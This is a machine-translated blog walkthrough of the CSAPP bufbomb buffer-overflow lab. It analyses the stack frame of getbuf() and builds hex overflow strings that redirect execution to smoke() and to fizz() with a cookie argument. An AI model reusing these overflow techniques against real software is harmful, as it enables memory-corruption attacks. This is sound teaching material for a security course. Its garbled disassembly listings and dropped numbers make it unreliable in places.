Csapp Buffer Overflow attack Experiment (top)
Download the Lab tool. Here's the latest handout.
The experimental materials can be found on the Internet some old, some places with the latest handout. It just doesn't matter, it's basically just the difference between the program name (sendstring) or the name of the participant (BUFBOMB-T), and it doesn't affect our experiment.
1. Experimental Tools 1.1 Makecookie
In the following experiment, five "attacks" were made in four times to make your cookie out of place where it originally did not exist, so we first have to create a cookie for ourselves.
The Makecookie in the lab tool is used to generate cookies. The number of references is your name:
32803861 (SYSV), dynamically linked (uses shared libs), \for2.6.9, not stripped[[email protected] bufbomb]$ chmod +x makecookie[[email protected] bufbomb]$ ./makecookie cdai0x5e5ee04e
1.2 Bufbomb
Bufbomb is the program that we want to "attack", the version number of the experimental tool that I downloaded must have the-t number at run time, indicating my name:
[[email protected] bufbomb]$ ./bufbomb You must include a team name with -tUsage: ./bufbomb -t team [-n] [-s] [-h] -t team: Specify team name -n : Nitro mode -s : Submit solution via email -h : help015-21300x5e5ee04eType string:It is easier to love this class when you are a TAOuch!: You caused a segmentation fault!Better luck next time
1.3 sendstring
The Sendstring gadget (new version called Hex2raw) can read into our crafted string (hex). Send it to the standard input stream of the Bufbomb. Avoid having to manually enter them on the terminal every time. Either cat pipe or direct redirection is done in two ways:
[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai[[email protected] bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai
2. Warm-up preparation 2.1 "vulnerability" code
The following section of the seemingly "innocent" small function is the source of security vulnerabilities, and the root of root cause is the gets () function does not consider the size of the BUF buffer. All characters entered by the user are saved directly in. Assuming that the user enters too many characters, it causes some data on the stack to be overwritten. This results in a buffer overflow crisis:
int getbuf(){ char buf[12]; Gets(buf); return1;}
2.2 Buffer Stack Analysis
Before you start a real "attack". Let's start by analyzing what the stack looks like when Bufbomb calls Getbuf ().
Only a comprehensive understanding of the stack structure. We were able to "attack" it at our own pace at the back of the experiment.
First, through the Objdump disassembly Getbuf () function:
[Email protected] bufbomb]$ objdump-s- D-Z Bufbomb | Grep-a15"<GETBUF>:"08048Ad0 <getbuf>:8048AD0: -Push%EBP8048AD1: theE5 mov%esp,%ebp8048AD3: theEc -Sub$0x28,%esp8048AD6:8D $E8 Lea-0X18 (%EBP),%eax8048AD9: the Geneva -mov%eax, (%ESP)8048Adc:e8 DF FE FF FF call80489C0 <Gets>8048Ae1:c9 leave8048Ae2:b8 on xx xx xxmov$0x1,%eax8048AE7:C3 ret8048Ae8: -Nop8048AE9:8D B4 - xx xx xx xxLea0X0 (%esi,%eiz,1),%esi
Based on the assembly Code of GETBUF (), now analyze what the stack structure looks like at runtime. Basic knowledge can be seen in six-Star Classic csapp-notes (3) in the machine-level representation of the program "7. Runtime code and stack" to review at a high speed. This is not to be discussed here.
First of all. Before Getbuf () is called. %EBP and%esp point to the stack base address of the caller test () and the top address of the stack, where the stack world is still "calm":
..................................................... 0x??
<-%EBP
..................................................... 0x00 <-%esp
When test () runs to call. Based on previous studies. The first two "idiomatic" instructions for the call command and GETBUF () are three things to complete:
According to these three "conventions", each function of the stack initially is the same: first return address, then the%EBP of the saved caller, the current%EBP point to this. Instead,%esp points to "lower" depending on the size of the allocated space.
The next step is to analyze the unique parts of Getbuf ().
Before starting further analysis, determine the two rules:1) The address pointed to by the%EBP as 0x00 (relative address); 2) above the horizontal line where the register is pointing is the data on that address .
- lea-0x18 (%EBP),%eax: Using the LEA to run complex operations,%eax =%ebp-0x18 = 0x18
- mov%eax, (%ESP): Changes the value of the%esp point to the position as the entry of the gets (). % (ESP) = -0x28 position data = -0x18
- Call 80489C0: Calls the gets () function.
Regardless of how the get () changes the BUF array using the -0x18, the default is that it will complete the work. So the stack of Getbuf () is the same as the call to gets ():
..................................................... 0x??
.....................................................
Return Address
..................................................... 0x04
Saved%EBP
..................................................... 0x00 <-%ebp
.....................................................
-0x18 (%EAX)
..................................................... -0x28 <-%esp (&arg0)
It's enough to know. You can experiment with the following.
refresher: Call, leave, ret
Call A: Save%eip, Invoke function
- Push%EIP
JMP A
Leave: Restore caller's%EBP and%ESP, prepare for Exit function
mov%ebp,%ESP
Pop%EBP
RET: Change%EIP, return caller to continue running
Pop%eip
further recall:
Push A: Press A into the stack and change the stack top pointer%esp
2.3 GdB Observation
GDB is a powerful debugging tool under Linux. Simple instructions for use such as the following:
- GDB : Prepare the Debug program, equivalent to GDB first. Again file.
- b : Set a breakpoint for the function.
b is the abbreviation for break. Except for the function name. It can also be the address, the +/-offset of the current operating place, and so on.
- Run: Start running the program. You can add the required number of parameters after run, just as you would when the command line is running normally.
- S/n/si/c/kill: S is step in, which goes to the next line of code, and N is step next. Runs the next line of code but does not enter. Si is step instruction. Run the next assembly/CPU instruction, C is continue, and continue until the next breakpoint. Kill terminates debugging.
- BT: BT is the abbreviation of BackTrace. Prints the stack path of the currently located function.
- Info Frame : Describes the selected stack frame.
- info args: Prints the selected stack frame's number of references.
- Print: Prints the value of the specified variable.
- list: List the corresponding source code.
- quit: Exit gdb.
3. "Attack" experiment 3.1 level 0: Candle
Experiment 1 is to change the return address of Getbuf (). Instead of returning to the original caller test () after running Getbuf (), jump to a function called smoke ().
And don't worry, we're going to break the rest of the stack, because the smoke () is going to terminate the program anyway, which also reduces the difficulty.
void smoke(){ printf("Smoke!: You called smoke()\n"); validate(0); exit(0);}
So the idea is very easy. Based on the previous stack structure analysis, we simply construct a string to copy all of the gets () to the BUF array, resulting in a buffer overflow. The most important point at the same time is that the initial address of the smoke () function is also placed inside the constructed string. Make it happen to cover the return address position of the getbuf () .
So the first step. We first need to know the initial address of smoke ().
This is very easy. Use Objdump to view the symbol table or. Text to find:
[[email protected] bufbomb]$ objdump -t bufbomb bufbomb: file format elf32-i386SYMBOL TABLE:08048134 l d .interp 00000000 .interp ...08048f40 g F .text 0000002a bushandler08048eb0 g F .text 0000002a smoke00000000 F *UND* 00000017 [email protected]@GLIBC_2.00804a1d0 g O .bss 00000004 team ...
Be able to clearly see smoke's initial address is 0x08048eb0, everything is ready. Now it's possible to construct an "attack" string! Since the title has been said, it's okay to destroy the rest of the data in the stack, except for the smoke address. The rest of us are able to "write blindly".
BUF The address of the first element is -0x18, and the address of the first byte of return addresses is 0x04, the difference between two positions is converted to decimal, which is 0x04-( -0x18) = 4 + =. That is to say we have to construct 28 characters, and then add smoke () to the address can be accurately covered to return to address. For ease of counting, I fill in order from 00 to 99:
[[email protected] bufbomb]$ cat exploit.raw0011223344556677889900112233445566778899001122334455667708048eb0
Unexpectedly is the first run but failed, Bufbomb hint segment fault, thought before analysis are wrong. The result is that I forget the small end of the matter, directly to the smoke () of the first address 0x08048eb0 put to the end of Exploit.new, the PC will point to an illegal memory address, of course, the report section error. Adjust the address to B0 8e 04 08, and Sure enough!
I saw the CMU say "nice job!" to me. Oh, my tears!
[[email protected] bufbomb]$ cat exploit.raw001122334455667788990011223344556677889900112233445566770x5e5ee04eType string:Smoke!: You called smoke()NICE JOB!Sent validation information to grading server
3.2 Level 1: Fireworks
Experiment 2, similar to experiment 1, is to let the caller of Getbuf () test () (not Getbuf ()) run a function that is not called in the code. The fizz () function is in Experiment 2. But experiment 2 slightly increased the difficulty. Not only do we want to let test () run fizz (), but also pass in our cookie as a parameter. Let Fizz () print out to calculate success.
void fizz(int val){ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); else printf("Misfire: You called fizz(0x%x)\n", val); exit(0);}
The first step is to view the initial address of the fizz () function in the symbol table by OBJDUMP-T. Get the address 0x08048e60, just use it to replace the address of the previous Exploit.raw smoke () can let the Getbuf () run to return to Fizz () (note Do not forget the small end byte order). The "Illusion" of fizz () is called by the buffer overflow, which is the result of the test ().
The second step is very easy, using Makecookie to generate my username "Cdai" cookie is 0x5e5ee04e, then the question is how to correctly set fizz () to participate in it? Before we focused on the three things that the call runtime was called to do, we now brush up on what the user needs to do.
Revisit the disassembly code of the Getbuf (), take the GETBUF () call gets () as an example, and look at the caller's code and the corresponding stack:
[Email protected] bufbomb]$ objdump-s- D-Z Bufbomb | Grep-a15"<GETBUF>:"08048Ad0 <getbuf>:8048AD0: -Push%EBP8048AD1: theE5 mov%esp,%ebp8048AD3: theEc -Sub$0x28,%esp8048AD6:8D $E8 Lea-0X18 (%EBP),%eax8048AD9: the Geneva -mov%eax, (%ESP)8048Adc:e8 DF FE FF FF call80489C0 <Gets>8048Ae1:c9 leave8048Ae2:b8 on xx xx xxmov$0x1,%eax8048AE7:C3 ret8048Ae8: -Nop8048AE9:8D B4 - xx xx xx xxLea0X0 (%esi,%eiz,1),%esi[[email protected] bufbomb]$ objdump- DBufbomb | Grep-a30"<FIZZ>:"08048E60 <fizz>:8048E60: -Push%EBP8048E61: theE5 mov%esp,%ebp8048E63: theEc ,Sub$0x8,%esp8048E66:8B $ ,mov0x8 (%EBP),%eax ...
Before call gets (). Getbuf () is responsible for pushing the number of participants onto the stack, where the number of participants is (%ESP), which is the position indicated at the top of the stack. With this knowledge. We will be able to prepare for fizz () to participate in. But pay attention to three points:
- multiple parameter order problems : If get () has two parameters, the address order on the stack is: the low address (near the top of the stack) is the first parameter. A high address is the second parameter.
- stack pointers%ebp and%esp: When we overflow the buffer to the return address position on the getbuf () stack, it actually destroys the rest of the data on the stack. Contains saved%EBP.
This way Getbuf () is actually unable to recover to test () when running return recovery%EBP. Note: the damage is only%ebp. Because the%ESP is restored with%EBP instead of stored on the stack (Leave=mov%ebp,%esp; Pop%ebp) but it doesn't matter. Just to start running Fizz (),Fizz () will save the de facto "corrupted"%EBP to the stack and continue running from the perfect%esp, according to the Convention .
- don't forget to return address: Before the call command will be pressed into%EIP as return address before jumping.
That is, fizz ()%EBP (pointing to saved%EBP) and the caller's prepared entry are separated by the return address.
The stack looks very awkward at this point. This is very normal. Because normally, getbuf () should go back to its call point after it runs, but since we are good at destroying its stack, the Return of Getbuf () is immediately entered into a function fizz (), and it does not seem surprising.
......................................................................................... 0x?
?
Data on caller ' s stack = Fizz () ' s argument:4ee05e5e
......................................................................................... 0x0c
Data on caller ' s stack = Fizz () ' s return address:padding 00112233
......................................................................................... 0x08
Return Address of getbuf () = Fizz () ' s entry point:608e0408
......................................................................................... 0x04
Saved%ebp = padding 44556677
......................................................................................... 0x00 <-%ebp
Buf on Getbuf () ' s stack = padding 00~99 00~99 00~33
.........................................................................................
-0x18 (%EAX)
......................................................................................... -0x28 <-%esp (&arg0)
Here's what it looks like after entering Fizz (): The entry and return addresses (%EIP) are pressed into the stack according to the caller's "convention" and the call instruction. In accordance with the callee "Convention", Fizz moves the%EBP into the%ESP and moves the%ESP allocation stack space. Everything "normal" seems to be the fizz () Call of Test ()!
The disassembly result from Fizz () also validates this. Sub $0x8,%ESP after allocating stack space. mov 0x8 (%EBP),%eax will be saved into register%eax. Comparing the stacks below,%EBP the caller's%EBP and return address of 8 bytes into the stack, so 0x8 (%EBP) happens to be the values we put in when we "attack".
......................................................................................... 0x??
Fizz () ' s argument:4ee05e5e
......................................................................................... 0x0c
Fizz () ' s return address:00112233
......................................................................................... 0x08
Saved%ebp:44556677
......................................................................................... 0x04 <-%ebp
......................................................................................... 0x00
......................................................................................... -0x08 <-%esp
001122334455667788990011223344556677889900112233445566776080x5e5ee04eType string:Fizz!: You called fizz(0x5e5ee04e)NICE JOB!Sent validation information to grading server
Csapp Buffer Overflow attack Experiment (top)